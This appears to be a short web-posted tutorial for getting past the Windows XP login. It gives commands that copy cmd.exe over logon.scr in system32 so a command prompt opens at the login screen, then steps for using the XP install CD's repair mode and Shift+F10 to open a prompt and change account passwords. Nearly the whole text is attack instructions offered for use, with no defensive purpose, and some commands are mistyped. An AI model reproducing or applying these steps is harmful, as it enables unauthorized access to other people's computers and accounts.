Go to Start –> Run –> Type in CMD

You will get a command prompt. Enter these commands the way it is given

cd\

cd\ windows\system32

mkdir temphack

copy logon.scr temphack\logon.scr

copy cmd.exe temphack\cmd.exe

del logon.scr

rename cmd.exe logon.scr

exit

====================================================

1.insert xp cd +boot with cd

2.repair option select

3.files will copied

4.window restart automatically

5.whenever “installing devices” window appear press SHIFT +F10 so, cmd prompt rise…

6.type “nusrmgr.cpl” …so, control panel…start

7.change password….